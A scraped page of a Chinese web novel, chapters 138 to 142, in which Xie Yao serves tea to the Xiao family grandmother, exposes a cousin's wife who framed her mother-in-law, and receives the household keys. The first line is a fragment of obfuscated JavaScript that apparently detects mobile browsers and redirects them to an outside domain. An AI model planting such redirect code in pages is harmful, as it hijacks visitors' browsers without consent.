l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16188666|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙有了 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一丝危机感。 箫熠之扫过桌上没有刀鞘的长刀,眼神波澜不惊。 “本王说过,王妃想做什么,不必顾忌任何人,有什么事,也可以直接吩咐白术。” 白蔹叫起来:“啊?为什么不是吩咐属下?” 白术面无表情:“闭嘴,王爷做事,没有为什么。” 老管家也捻着胡须:“呵呵,小白侍卫还是得再沉稳一些。” 谢窈回想起昨晚箫熠之说的话。 她的确,可以尝试相信王爷。 不过,随着箫熠之靠近,一抹极淡的血腥味传来。 “我倒是真有一件事,要请王爷帮忙。” 谢窈冷静下来,说道。 “孙家人昨日在伯府**,是因为孙宏方**,我如今是靖北王妃,被平白泼了脏水,也有损王爷颜面,所以我想知道,孙宏方,究竟**的。” 这个孙姨娘的大哥孙宏方,只被关了几天,就死在大牢里,着实蹊跷。 若不查明,旁人真会把这口锅,扣在她和许家人身上。 白术抱拳:“属下会彻查此事。” 正说着,院外来了一名陌生侍女。 “王爷,王妃,老夫人已经起身,正在等着王妃敬茶。” 顿了顿,侍女又道:“按照规矩,王爷今日应先去祠堂上香,将您的亲事告知萧家先祖。” 言下之意,是要两人分开走。 谢窈站起身,理了理衣着,想说自己独自去便是。 箫熠之清幽的声音,先一步响起:“王妃初来王府,不认识去祖母凝辉院的路,本王与王妃,一起去给老夫人敬茶。” 侍女愣了一下,抬起头:“王爷,祠堂那边上香,得您亲自去。” 箫熠之的面容冷下来。 不等王爷开口,老管家已经上前:“你是哪房的?敢质疑王爷去哪?” 侍女吓得眼珠乱转,连忙说:“奴婢,奴婢是三房周夫人院里的,夫人让奴婢前来传话,奴婢只是照规矩——” 三房周夫人,是王爷的三叔母。 “规矩?王府的规矩,不是让你一个下人来指点王爷行事的。” 老管家眼神一沉,正要发落,这侍女忽然“噗通”跪到谢窈面前,磕起头来。 “求王爷不要杖毙奴婢,王妃,奴婢真是按周夫人吩咐办事,您替奴婢求求情吧,奴婢给您磕头了!” 谢窈:呦,碰瓷的。 第139章 三房婆媳矛盾,她最心善 “你——” 老管家没想到这侍女突然下跪,顿时望向王爷。 侍女只是来传个话,就算暗藏了试探心思,但王爷要是因为这点小事就把她杖毙,传出去,不彻底做实了残暴不仁的传闻? 他又有些担忧地看着王妃,不知王妃该如何回应。 侍女再次开口:“奴婢真的是听了周夫人的话来传信,求王妃大发慈悲,为奴婢向王爷求情,饶奴婢一条性命吧!” 谢窈眸色深了深,这侍女一哭一闹地碰瓷,倒是把矛头指向了自己。 她要是替其求情,显得自己怯懦好拿捏,若是不理,就得落个新妇入府第一日,便打杀奴仆,心狠手辣的名声。 而且,侍女言之凿凿她是周夫人的人,又有些过于刻意了。 这不是摆明了要自己刚入府,就对上三叔母? “起来吧,王爷行事自有章法,怎会无故杖毙你?” 谢窈唇角噙着笑,看起来十分温和。 侍女低着头,眼底闪过一丝得逞。 只是,没等她颤巍巍地站起来,就听王妃又道:“正好,你与我一同去见老夫人,周夫人定然也在,由你主子决定如何惩处,我与王爷,就不越俎代庖了。” “带,带到老夫人面前?” 侍女骤然脸上血色尽失,整个人竟吓得身子一软,“吧唧”瘫倒在地。 这次,她浑身颤抖:“奴婢只是个寻常侍女,不敢污了老夫人的眼。” 谢窈挑了挑眉,没想到她如此害怕。 看来,事情果然另有隐情。 自己没有惩罚她,而是将她的惩罚推了回去,被带到主子面前对质,掌嘴或罚月钱是免不了的,但不至于怕成这样。 “你的意思是,你就敢污我和王爷的眼?”她悠悠反问。 “那就带着吧。” 箫熠之则根本没有看地上的人,让白术推轮椅,控制着自己王妃走路的速度相当。 走之前,谢窈回想起昨夜箫熠之说的话。 她叫上了许长思:“长思,你跟我一起。” 长思垂下眼眸:“是。” 很快,谢窈来到靖北王府,凝辉院。 远远的,就见正厅门大敞,萧家女眷已经坐定。 一众坐椅下方铺着青色吉祥纹织毯,贵气古朴,从门口延伸至内屋,鎏金香炉吐着袅袅檀香,厅内丫鬟嬷嬷众多,传来其乐融融的笑声,彰显着萧家底蕴。 为首的萧老夫人坐在主座,望见孙子和孙媳,眼前一亮。 她朝身旁老嬷嬷点头,低声道:“罗嬷嬷,你去将东西取来。” “是。”罗嬷嬷悄然退下。 萧老夫人下首右侧坐着三房周夫人,人至中年,身着石榴红襦裙,圆脸,生得富态丰腴。 旁边的是三房长子萧文远的正妻小周夫人,穿得素净,手抚在微微隆起的小腹上,眼神打量着谢窈。 看见萧老夫人身边的罗嬷嬷离开,她皱了皱眉。 周夫人与小周夫人,既是婆媳,又是同族的姑侄。 小周夫人原本不算长辈,但因怀有身孕,所以有了座位。 她的脚边,站着个梳双平髻,六七岁的小女孩,是她女儿萧岁嵘,萧老夫人唯一的嫡出重孙女,正给老夫人看自己手里的竹蜻蜓,笑声清脆。 谢窈目光扫过小周夫人显怀的小腹,看着有五个月身孕了,比周姨娘的腹部要明显得多。 萧家的情况,倒是与谢家有几分相似,都是长房微弱,三房一脉人丁兴旺。 老侯爷过世多年,只有箫熠之一个儿子,箫熠之承袭侯爵后,又被封为靖北王,虽然功勋彪炳,但因为一直未曾娶亲,所以长房无后。 二姑奶奶嫁给京兆尹杜大人的父亲,暂且不论。 而萧家三爷,虽然只娶了一位正妻周夫人,周夫人也只生下萧文远萧兰舟两个儿子,但萧文远能生。 做为王爷的堂兄,他比王爷大四岁,已经是三子两女的爹了,不过,他就一位嫡女,就是眼前这个小姑娘萧岁嵘,另外四个孩子都是妾室所生。 眼下,小周夫人又有孕了。 三房若能再添一位嫡孙,便越发显得长房人丁稀少。 小周夫人看见谢窈身后,被两名王爷亲卫拎鸡崽似拎着的侍女,面色悄然一变。 谢窈看向周夫人,叹道: “三叔母,方才这位侍女前来传信,说王爷得先去祠堂上香,让晚辈独自过来,晚辈初来乍到,不知王府规矩,是否是三叔母看不起健妇营,看不起健妇营就是看不起晚辈,看不起晚辈……也对,晚辈的身份,怎敢奢求王爷陪同。” 箫熠之饶有兴趣地望着自己王妃。 他从未见过,能把别人是不是看不起她,说得这么坦荡的人。 周夫人大惊。 天啊,侄媳妇开口第一句话,就向自己发难。 再看那侍女,她认了出来,面色更是“唰”地沉下去,狠狠剐了小周夫人一眼。 这侍女虽然是她院里的,但她跟儿媳同住一院,侍女实则是儿媳的人! 儿媳平时就和她不对付,天天在儿子面前撺掇分家等事,想试探新妇,居然打了她的名义。 何况,谢二小姐是谁啊,她最近听到对方多少震撼消息——狂揍文昌伯,暴打陆书生,王爷三十二抬花轿娶回,哦对了,前几日还在成佛寺,把安平侯暴揍了一顿,听说武功不俗。 这是她能惹的吗? “我还指望跟侄媳妇学几手呢,可不能得罪了你啊。” 谢窈:“啊?” 她还以为周夫人心思深沉,想给自己新妇一个下马威,所以做好了不敬长辈的准备,结果…… 周夫人怔了怔,才发现自己居然一不小心,把心里话说了出来! “咳咳,无事,无事。” 她对着谢窈嘿嘿尴尬一笑,随即再看侍女,叉起腰。 “王爷陪王妃一同来给老夫人敬茶,那是天经地义,偏你这奴婢自作主张,胡乱说话,罚你三个月的月钱,滚去杂役处,以后,别说是本夫人院里的!” 侍女瞥了一眼小周夫人,见其正狠狠盯着自己,只好咬了咬牙,再次跪下:“周夫人饶命,奴婢是听了你的话才去传信啊,求您饶了奴婢。” 谢窈眯起眸子,这下可以确定,侍女,是小周夫人的人。 小周夫人是周夫人的儿媳,周夫人如果还给她儿子一个面子,不想婆媳矛盾家丑外扬,就无法当着众人的面辩解。 这时,小周夫人柔声开口:“婆母息怒,想来是丫头蠢笨,没把话说清楚,今日是王妃给祖母敬茶的日子,依儿媳看,不如大事化小小事化了,罚她一个月的月钱罢了,何苦如此心狠,让她一个娇滴滴的小丫头,去杂役处呢。” 堂内伺候的丫鬟嬷嬷心中感叹,小周夫人替他们这些下人求情,真是菩萨心肠。 周夫人气得嘴角抽搐,好啊,自己心狠是恶人,她倒是成了好人! 偏偏这是自己儿媳妇,她要是当众说清了,丢的也是三房脸面。 可她成背锅的了。 王妃肯定要怪罪她,她还怎么跟王妃学几手…… 周夫人那里心急如焚,脸色变幻,被谢窈看在眼里。 三叔母,倒是把什么心思都写在脸上。 原本想着萧家除了萧老夫人和箫熠之,也云诡波谲,又是一个虎狼窝。 但没想到,竟是这样的情况。 城门失火殃及池鱼,长房无人,二姑奶奶外嫁,三房忙着婆媳矛盾,波及了自己。 小周夫人又说:“之前听闻礼部尚书何大人为王妃正名,说谢家二小姐温婉贤淑,最是心善,我看,王妃妹妹一定不会跟个下人计较。” 这话看似是在求情,实则在说,如果谢窈和下人计较,那就是心不善。 “小周夫人说的是,我自然,不会跟不懂规矩的下人计较。” 谢窈弯了弯眸,在小周夫人身上,总算找到几分熟悉的感觉。 “但如果不懂规矩的,是主子呢?” “王妃妹妹何意?” 谢窈笑容人畜无害:“本妃初到王府,不知家中情况,要是早知道堂嫂眼盲心瞎,一定去胜济堂,给堂嫂寻最好的大夫治一治盲症。” 小周夫人惊怒交加,瞪着水汪汪的眼睛:“王妃,你怎敢说我瞎!” 谢窈摇头:“若堂嫂不瞎,怎么会把自己屋里的侍女,按在三叔母头上?” 小周夫人呆了呆,她怎么看出来的? 周夫人憋了半天,这口气终于顺了,立即跳起来:“诶,我就说她怎么看着面生!儿媳妇,这不是你屋里那个吗!” 众下人恍然大悟,看向小周夫人的眼神都变了变。 “刚还说小周夫人替咱们下人求情,心地善良,没想到,这个下人就是她派的啊!” “她还陷害到自己婆母身上,早就听说三房婆媳不和,我原还不信,今天算是见识到了。” 箫熠之轻敲着轮椅扶手,听够了,慢悠悠地抬起眼皮,桃花眸含着笑意。 “本王与王妃,都是最心善不过的,虽然这侍女耽误了王妃给祖母敬茶,也耽搁本王去给祖宗上香,又浪费这么多时辰,对了,还哭起来吵得本王头疼,的确该杖毙处死,但是……她既然是堂嫂拿来陷害三叔母的人,那本王就饶她一命,堂嫂觉得呢?” 萧老夫人震惊地望着自己孙子。 熠之好久没说这么长一段话了! 他这是在护着孙媳吗? 箫熠之语气漫不经心,仿佛,是在开玩笑。 但除了谢窈和萧老夫人,没人认为他在开玩笑。 他每说半句话,侍女和小周夫人的脸色就白上一分,满室的温暖,也降下一分。 听到要被杖毙处死,侍女更是眼前一黑,当场吓晕了过去。 小周夫人也想装晕,但因为侍女先晕了,她只能坐立不安战战兢兢地缩在坐椅上。 她肚子里怀着孩子,本想接三房添丁的喜事,探探谢窈的深浅。 就算试探不出什么,也能给婆母下绊子,让婆母得罪谢窈,她坐收渔翁之利。 没想到,谢窈言辞犀利,还当众揭穿了侍女身份,箫熠之也护着。 “熠之与王妃心善,老身知道,”萧老夫人难掩激动,嘴角忍不住地上扬,“但老身可不是心慈手软的人。” “胡言乱语,搬弄是非,将她拖下去掌嘴三十,罚半年月钱,从此罚去恭房。” 老夫人一句话,小周夫人顿时不敢求情了,周夫人也偃旗息鼓,将此事掀过。 萧老夫人的惩处,比周夫人先前说的严苛得多。 但没人敢质疑她的话。 发现了这一点,谢窈的眼神愈发明亮。 这时,先前吩咐去取东西的罗嬷嬷回到厅堂内。 萧老夫人眼睛落在谢窈身上,笑盈盈开口:“多大点事,来,窈窈,快过来,让老身瞧瞧,窈窈,老身可以这么叫你吗?” 第140章 萧老夫人交掌家钥匙 谢窈端详着慈眉善目的萧老夫人,心里一暖,点了点头:“自然是可以的,祖母。” “哎,好孩子。” 萧老夫人笑得脸上皱纹舒展,不错眼地望着孙媳。 怎么会有这样钟灵毓秀,美若天仙的姑娘,好,真是太好了,不愧是她亲自求来的孙媳。 “新妇请敬茶。”罗嬷嬷奉上茶水。 “孙儿,孙媳拜见祖母,请祖母喝茶。” 箫熠之坐在轮椅上,他行动不便,只能躬身行礼。 谢窈则端起茶杯,跪在萧老夫人面前,恭敬而真心地磕头。 上辈子,她也曾与萧老夫人有一面之缘。 那是在京兆尹的公堂之上。 她状告陆慎言,要求与其和离。 陆慎言是名动京城的状元郎,年纪轻轻,就官至吏部侍郎,在百姓中名声极佳。 面对状告,他说妻子不为陆家开枝散叶,又体弱多病,常年耗费银钱治病吃药,他是俸禄不济,才将妻子送去京郊庄子。 满街百姓都为陆慎言叫屈,还说谢窈胆大妄为,不守妇道。 就在舅舅为她聘请的状师,都哑口无言的时候,萧老夫人忽然杵着拐杖出现。 当初,谢窈拒婚靖北王,此事满京皆知,简直是打了萧家的脸。 可那天,萧老夫人却对京兆尹说:“若非是走投无路,她一个女子,怎会状告自己的夫君?既然已经没了夫妻情分,强扭在一起又有什么用,还是让他们和离吧。” 陆慎言气得脸都歪了,得知老夫人身份,又不敢反驳。 走的时候,萧老夫人往她手中,塞了一颗桂花糖。 “孩子,嫁错了人,却也认清了人,就不算什么大事,你还年轻,往后都是好日子。” 她的眼泪夺眶而出。 萧老夫人在谢窈心里,就如同亲祖母。 不,胜过亲祖母百倍,千倍。 萧老夫人接过茶盏,随即,便将一枚玉镯,交到谢窈手里。 “这是我当年嫁妆里的镯子,如今给你,孩子,过去你受苦了,不要紧,望你往后能把萧家当做你的家。” “多谢祖母厚爱。” 萧老夫人越看她越欢喜,拉着她,亲自给她戴上玉镯。 摸到孙媳虽然纤长白皙,但并不算细腻的手,还看见谢窈手心的薄茧,她心疼地道:“窈窈什么都好,就是太瘦了,以后可要多吃点饭食。” 小周夫人也看见了谢窈有些粗糙的手,道:“王妃自幼在健妇营风吹日晒,还有这样的花容月貌,这要是长在京城,又不知该是多么的风华绝代。” 她不动声色地强调,谢窈是在边境长大的。 谢窈抬眸看她:“听堂嫂这意思,是看不起我?看不起我就是看不起健妇营……” 她说到一半,瞥了一眼王爷。 虽然一招鲜吃遍天,但自己这招也吃太多了。 “——如今我是王爷的王妃,看不起我,就是看不起王爷。”她改了口。 箫熠之微不可察地翘起唇角。 很好。 他如今在王妃心里的作用,已经能与长公主媲美了。 小周夫人脸色一僵,没想到谢窈这么直接:“王妃说笑了,我不在这个意思。” “你快闭嘴吧,健妇营怎么了,健妇营出身可太棒了,你想去,人家长公主还不要呢。”周夫人瞪了小周夫人一眼,又打量着谢窈,眼神好奇。 “侄媳妇,听说你会些拳脚功夫,我家正肃,说起话来是没完没了,我早就想学点武功,吓唬吓唬他了,苦于寻不到女武师,只求你能指点我一二。” 谢窈愣了一下,箫熠之在她身侧适时地说:“三叔名唤萧正肃。” 谢窈弯起眸子,点了点头:“若只是学些拳脚拿捏三叔,改日有空,晚辈一定教三叔母几招。” “那可太好了!”周夫人笑得合不拢嘴。 小周夫人讪笑着附和,暗道谁家婆母一把年纪,要跟侄媳妇学武功? 她平时,最看不上婆母的泼辣粗野,现在倒好了,来个王妃更甚。 这时,小周夫人的女儿阿嵘,不知从何处抽出一把小木刀,挥动起来。 阿嵘扯动谢窈的衣摆,激动地说:“婶婶会武功?那婶婶教阿嵘练刀吧,阿嵘要像小顾将军那样上阵杀敌,然后娶公主!” 小顾将军? 谢窈嘴角一下子扬了起来。 只有大将军的徒弟顾刀,被称为小顾将军。 而她就是顾刀。 箫熠之注意到王妃唇角的笑意,眸色一深。 小周夫人脸上掠过一丝不自然,一把夺过木刀,疾言厉色:“阿嵘,你胡说八道什么,从哪找到这把刀的?这么失礼,今日午饭别吃了!” “不,母亲还阿嵘刀刀!” 阿嵘“哇”地一声哭出来。 谢窈内心微动,小姑娘才七岁,倒是志向远大。 只是,学自己,上阵杀敌没什么问题,但娶公主,是不是奇怪了点? “阿嵘很有志向,不过,为何不是像大将军,而是像小顾将军呀?”谢窈蹲下身,揉了揉小姑娘的头,问道。 在燕国,提起军中战神,是大将军顾昭棠。 提起杀人如麻,让小儿不敢夜啼,那是靖北王。 而自己这个大将军的徒弟,因为军中亲信袍泽,还有大将军刻意的保护,没有前面这两人出名。 阿嵘仰头看谢窈,被摸得脸红,都顾不得哭了,小声说:“听说小顾将军是女孩子,和阿嵘一样小的时候,就能打仗啦,阿嵘当然要学她。” 随即,她又说:“嫂嫂,你好漂亮呀,就像画里的仙女一样,阿嵘长大后可以娶嫂嫂吗?” 箫熠之脸色一黑,额角跳动了两下,忍了。 谢窈调笑道:“你不是要娶公主吗?” 阿嵘想了想:“嗯……公主做小,嫂嫂你做大嘛。” 箫熠之:“……” 小周夫人嘴角再次抽搐,半晌,只憋出一句:“阿嵘,你再胡说,今日晚饭也没了。” 萧老夫人深深看了她一眼,意有所指道:“你做的好事。” 周夫人也道:“阿嵘乖,你要记得自己是个女孩子,不能娶公主啊。” 小周夫人眼眶一红,把阿嵘拉到自己身后,不敢说话。 话过三巡,萧老夫人让罗嬷嬷将一个檀木盒放到桌上。 满厅堂看到这个盒子,顿时安静下来。 萧老夫人亲自打开木盒,里面,是一大串沉甸甸,长短不一的钥匙,最下面还有枚玉牌。 她望向谢窈,语气郑重:“如今熠之娶了王妃,你便是靖北王府的主母,这掌家钥匙和玉牌,祖母就交给你了。” 第141章 长思出面,小周夫人没话说 “这掌家钥匙和玉牌,祖母就交给你了。” 萧老夫人话音落下,堂内众人皆惊。 小周夫人瞪大双眼,脸上温良的笑容挂不住了。 她原以为,老夫人顶多让谢窈跟着学些掌家之事,没想到,竟然直言谢窈是王府主母,交出了掌家钥匙! 她在萧家兢兢业业,侍奉公婆,侍奉老夫人,还给夫君萧文远开枝散叶,谁见了不夸,老夫人可连掌家玉牌的面,都没让自己见过。 周夫人也愣了愣,她喜欢侄媳妇,却没料到,老夫人会这么快交出掌家之权。 这么一来,那自己以后更要把侄媳妇当成祖宗了。 她立即转身,叫自己身边的心腹丫鬟:“快,把三爷上个月给我买的润手凝脂膏找出来,装好了,等会儿拿给侄媳妇。” “那润手膏您自己都不舍得用呢。” “我这老手用什么啊,侄媳妇的手是握刀的,肯定用得上。” 她压低声音,只有旁边小周夫人听见了。 小周夫人目瞪口呆,暗骂这个没出息的婆母,居然讨好侄子的新妇。 “除了这钥匙,账簿,库房册子,和你那些在库房的陪嫁,一会儿管家和老身手下的罗嬷嬷会跟你交代。” 萧老夫人可不管大小周夫人的想法,又道。 “府上还有笔现银,一直存在你外祖父家的许氏钱庄,托给京城那位有名的女账房管着,具体的,你可以询问罗嬷嬷。” 听到她提起许氏钱庄的女账房,谢窈不动声色地勾了勾唇角。 厅堂内伺候的丫鬟嬷嬷们,一个个私底下交换眼神。 老夫人这话放出,看来从此以后,王府的女主人,真要换成年轻的靖北王妃了。 谢窈看出小周夫人眼底的不甘,红唇上扬,故意语气谦逊:“多谢祖母信任,只是,孙媳刚入府,对府中人事都还生疏,骤然掌家,怕有疏漏,辜负了祖母与王爷的信任。” 她主动说出自己的问题,给小周夫人一个开口的由头。 “傻孩子,谁天生会掌家?老身——” 萧老夫人拉着她的手拍了拍,正要说,自己已经给她准备好了,就见三房的孙媳妇,小周夫人扶着腰,站了起来。 “祖母疼爱孙媳是应当的,可王妃毕竟年轻,殊不知偌大一个靖北王府,采买账目,往来人情,最是繁琐,半点都错不得,万一哪里出了岔子,外头人,该说王府苛待新妇了。” 她轻轻地叹了一口气,仿佛在为老夫人着想。 萧老夫人眯起眼睛观察谢窈,见她神情镇定从容,暗自颔首,才道:“那你想如何啊?” 小周夫人抚着自己肚子:“依我看,不如让祖母身边的罗嬷嬷带王妃先学,等王妃妹妹日后有了身孕,为萧家开枝散叶,再正经接手掌家之权也不迟。” 谢窈和她对视,露出一抹熟悉的笑容:“堂婶这话,是——” 小周夫人抢先回答:“绝没有看不起王妃妹妹的意思!” 谢窈:“是说我不会管账理财?” 小周夫人松了一口气,连忙挤出笑容:“王妃在边境习武,巾帼不让须眉,但会武功,却不一定能拨好算盘,对吧。” 周夫人憨憨一笑:“那可不一定,我看,侄媳妇说不定是个全才。” 小周夫人心中啐了一口婆母:“就说你们许氏钱庄那位女账房,是出了名的精细,那也是跟着许家少东家,学了十年才出头的,难不成,王妃妹妹你天生就会?” 谢窈眉毛一挑,转身,看向静默地立在厅堂门口的长思。 小周夫人顺着她目光瞥了眼,并没有把一个平平无奇的丫鬟当回事。 “王妃妹妹是有几名陪嫁丫鬟,但据我所知,唯一的大丫鬟,是你从边境带回来的,难不成,她会管账?”她反问。 谢窈闻言,忽然笑了,对门外扬声:“长思。” “奴婢在。” 随着一声应诺,众人就见一名身着素蓝布裙,眉眼秀丽沉静的姑娘走了进来,看起来二八年华,对着谢窈欠身行礼,举止端庄干练。 小周夫人不屑一顾:“这便是王妃妹妹带进王府的大丫鬟?怎么,难不成你要说,她能比得上许家那位女账房?” 罗嬷嬷却已经揉了揉眼睛,又拉住身旁另一个嬷嬷,问道:“我老眼昏花,你快看看,这是不是那个……” 另一个嬷嬷点头:“我就不老眼昏花了?不过,我看还真是!” 也有些从前与长思打过交道的人,将她认了出来,但不敢确定。 谢窈指着长思,不急不缓地说:“这位长思姑娘,正是堂嫂口中京中最有名的女账房,昨日她已经跟我入府,是外祖许家给我的陪嫁丫鬟。” “什么?!” 满室哗然,连周夫人都眼神艳羡。 她听说过许家女账房的名声,许家竟然舍得把这样的能人,给侄媳妇做陪嫁,可见,人家对这位外孙女多么看重! 看见呆住吃瘪的儿媳妇,周夫人更不装了,“噗嗤”乐了。 小周夫人难以置信:“我……我可是在许氏钱庄存了五百两银子的,每年光管费就得交十几两,许家那般重利之家,怎么舍得把这么金贵的账房给你做丫鬟?” “小周夫人此言差矣。” 罗嬷嬷目光落在长思身上,语气肯定:“老奴此前帮老夫人理账,见过许家女账房几面,正是这位姑娘。” 长思恭顺地应道:“奴婢见过罗嬷嬷。” 周夫人:“你才重利之家,你全家都是重利之家,昨日没见许家给侄媳妇多少陪嫁?人家放在心尖上的外孙女,难不成到咱们萧家来受委屈了?” 小周夫人还想说咱俩不是一家吗,萧老夫人已经笑着开口:“原来窈窈早有准备,倒是老身多虑了。” 许家女账房的名声,她也早有耳闻。 萧老夫人越发喜爱谢窈,能娶这样的孙媳过门,真是萧家的福气。 随即她眸光一沉:“文远那小子家的,你还有什么好说的吗?” 谢窈与萧老夫人一样双眸凌厉,语气仍旧从容:“有长思在,府中账目庶务自能理清,堂嫂觉得,如今我还担不起这掌家之权吗?” 虽说新妇入府,根基不稳,贸然接手掌家之事,不太稳妥。 但是,既然老夫人给了她,那就是她配。 她不会傻乎乎地拒绝,博什么谦虚名声,又或者是自我安慰以退为进,实则自己憋屈。 小周夫人脸都白了,最终狼狈地低下头,哑口无言。 再争下去,只会更丢人。 萧老夫人见她服软,便继续道:“窈窈,齐嬷嬷跟了我三十多年,最清楚府中庶务,还有棠心这丫鬟,做事细心稳重,往后她们俩就跟着你,帮你和长思一起掌家。” 齐嬷嬷是个年过半百的老嬷嬷,与个圆脸可爱的丫鬟,一起跟谢窈见礼。 “多谢祖母体恤。” 谢窈不卑不亢地行礼。 萧老夫人望着她,蓦地想起很多年前,她还年轻的时候,靖宁夫人入府的情景。 厅堂内其他人,看向谢窈的眼神,多了钦佩敬重。 敬茶事毕,老夫人留众人用过早膳,便回去休息,让大家散了。 刚走出凝辉院,周夫人就追上来,拉着谢窈说话。 “侄媳妇,说好了,你可得教我几招。” 说着,她将个巴掌大的珐琅掐金的瓷瓶塞给谢窈。 “这是你三叔上个月给我买的,说能护肤润手,我一把年纪了,用不上,就给侄媳妇你了,还有,侄媳妇你生得这么貌美,打扮的却是素净,回头来我院里,我有好多胭脂水粉给你试呢。” 谢窈接过瓷瓶,摸了摸腕间的玉镯,心里升起暖意。 萧家人,倒是比文昌伯府,更像她的家人。 周夫人看了眼跟在她们身后的齐嬷嬷与棠心,低声道: “齐嬷嬷跟王府掌事罗嬷嬷,都是老夫人身边的人,替老夫人管了半辈子庶务,棠心还是罗嬷嬷的亲闺女,半点错处都挑不出,在咱们萧家,往后,谁也不敢给你使绊子。” 谢窈暗道,萧老夫人怕是早已把一切都考虑清楚了,哪怕没有长思,她也会帮自己顺顺利利地接手掌家钥匙。 白蔹推着王爷的轮椅,与王妃一起到了王府回廊。 谢窈回想起拿着小木刀,还说要效仿小顾将军的阿嵘,问道:“方才小周夫人的女儿,为何说要娶公主?” 第142章 崇拜小顾将军?王爷酸了 阿嵘才七岁,是个粉雕玉琢似的女孩子,只是举止有些怪异。 小周夫人见女儿拿着一把小木刀时,面色也不自然。 白蔹看了一眼王爷,他最会察言观色了。 见王爷没有反对,他说道:“回王妃,这是王府的一桩旧事。” “当年小周夫人怀阿嵘的时候,买通产婆,谎称自己诞下三房嫡孙,又瞒着府里,把阿嵘当男孩养了五年,直到被老夫人发现,阿嵘才换回女孩装束,但她还是觉得自己是个男孩,言行也偏激了些。” 谢窈听完,若有所思。 小周夫人生下女儿,却当男孩养。 七年前,那时老侯爷已经过世,箫熠之承袭爵位。 小周夫人是见萧家长房无后而势弱,借女夺嫡的心思,昭然若揭。 连自己的亲生女儿都拿来利用,堂嫂的野心可真不小。 今日王府中馈落在自己手上,日后,小周夫人说不定还会作祟。 不过,既然她已经知道,自然会有所提防。 正想着,谢窈目光扫过箫熠之腰间,愣住了。 王爷明明换了大婚时的喜袍,竟然还佩戴着那枚绣仙鹤的香囊。 这香囊本身很好,就是其中一只仙鹤,是……七彩的。 谢窈的耳根有点热,心想要是自己不绣那几针,这枚香囊,一定能和王爷绣的其他香囊一样精细漂亮,而不是显得很怪异。 箫熠之顺着她的视线,低头,捏了捏香囊。 “堂兄,堂嫂!” 一道清朗的声音传来,谢窈回头,就见个穿着天青锦袍的少年快步走来。 少年约莫十七八岁,眉宇俊朗,朝气蓬勃,正是三房周夫人的次子,箫熠之的堂弟萧云舟。 他亲大哥萧文远有三子二女,他却还没娶妻。 “云舟昨日与苏将军喝得有些多,早晨没起来,方才又在库房那边见到一只鸡,逗了一会儿,这才耽误了见堂兄堂嫂。” 萧云舟跑到近前,先恭敬地向箫熠之行礼,随即,炙热的目光落在谢窈身上。 “听说,堂嫂八岁就离家从军,是大将军麾下健妇营的人?” 这话若是别人说的,那是在讥讽,萧云舟的语气却透着激动,像是真的只是好奇。 谢窈微微颔首。 在长公主未归国的时候,健妇营的确隶属大将军麾下,即便现在长公主是健妇营名义上的统领,八百女卒的驻地仍旧在背景,由大将军负责,所以,萧云舟这话也没什么毛病。 “太好了,那堂嫂在边境,一定见过大将军的徒弟,小顾将军吧?”萧云舟见她点头,更是兴奋起来。 “小顾将军?”谢窈挑眉。 箫熠之一日内两次听见这个人,见到她的神色,眸色微沉。 谢窈从前在北境从军,肯定与什么小顾将军认识,否则,怎么提到那男的,自家王妃两次都露出熟稔的神情。 怕谢窈不知道,萧云舟主动介绍,如数家珍。 “就是顾大将军的徒弟顾刀,听说,他出身平平,却十三岁就单骑破敌阵,十五岁差点在阵前生擒了雍国太子,当真是少年将军,不知他长什么样,是和传闻一样俊秀像个女子,还是生猛威武,虎背熊腰?” 萧云舟一直想习武从军。 京城这边,更多人崇拜的是名震天下的大将军,镇远侯顾昭棠,他却喜欢与他年纪相仿的顾刀,对顾刀的一些经历,也是很了解。 昨天在喜宴上,萧云舟就拉着苏怀恩问了许久。 因为堂嫂王妃是北境回京的,他更是忍不住前来打听。 谢窈听到萧云舟的话,唇角再次上扬起来。 这堂弟,倒是有眼光。 “见过几次,小顾将军的确是难得的将才,而且生得英俊潇洒,剑眉星目,玉树临风,光彩照人。” 她弯起眸子,忍不住自夸了一小句。 箫熠之搭在轮椅扶手上的手,攥成了拳头。 他盯着萧云舟,玄眸幽深凌厉:“今日阿嵘在祖母面前挥的木刀,是你做的吧,她才七岁,整天说自己要学顾刀,也是你教的吧,三叔让你做的功课做好了吗,做好了,就去扎十个时辰的马步,扎不好,就别说自己要当将军。” 谢窈:“……十个时辰?” 白蔹:“王爷您想让二公子死,不如直说,属下帮您。” 谢窈嘴角一抽:“虽然话糙理不糙,但小白侍卫你这话也太糙了。” “堂兄怎么知道?就是阿嵘央求我,我看她可爱……堂兄放心,那把刀伤不了人的。” 萧云舟面露窘迫,顾左右而言他,忽然双眼一亮:“诶,堂兄居然配了香囊?” 箫熠之淡淡地瞥了他一眼,眼底的冰冷悄然褪了些许,语气仍旧淡漠:“没什么,不过是王妃亲手给本王绣的。” “堂嫂你不但会武功,还会女红?” 萧云舟语气赞叹,再凑近了打量这个香囊,却感觉不太对劲。 他记得,王爷的母妃靖宁夫人擅长女红,王爷似乎也…… 箫熠之面无表情地拿起香囊,在萧云舟面前晃了晃:“看清楚了,王妃乃是全才,这样的香囊,她给本王绣了七八个呢。” 谢窈:…… 箫熠之好意思夸,她都不好意思听。 白蔹忽然肩膀剧烈抖动起来。 箫熠之回头,眸色阴沉:“你抽筋了?” 白蔹:“没,属下,属下就是想到了好笑的事。” 萧云舟还想跟谢窈询问顾刀的事,但是见箫熠之真想让他扎十个时辰的马步,忙不迭告辞,头也不回地走了。 看来,只能改日等堂兄不在,再来询问堂嫂小顾将军的事。 待他走远,谢窈才看向箫熠之,语气无奈:“王爷挂这个香囊干嘛,明明是你自己绣的,非说是我绣的,还绣了七八个,以后堂弟要是想看那七八个,怎么办?我又不会。” 箫熠之和她对视。 谢窈心头一跳,阳光将王爷锋利的长睫染成金色,恰到好处落在他高挺的鼻梁上,光线斑驳流转,实在是过分貌美。 “他想看,就给他看,本王自己来,不劳烦王妃,”王爷语气淡然,“本王就喜欢自己给自己绣香囊。” 谢窈:“既然王爷喜欢,那没事了。” 白蔹忽然打了个嗝。 王爷再次目光阴沉看向他:“你又想到了什么好笑的事,说出来。” 白蔹龇牙咧嘴:“没,属下这次是真抽筋了,哎呦呦,好酸。” 两人走到岔路口,左手边是流霞院,右手边是扶光院。 箫熠之停下:“本王今晚住在流霞院,明日一早,会陪你回文昌伯府回门。” 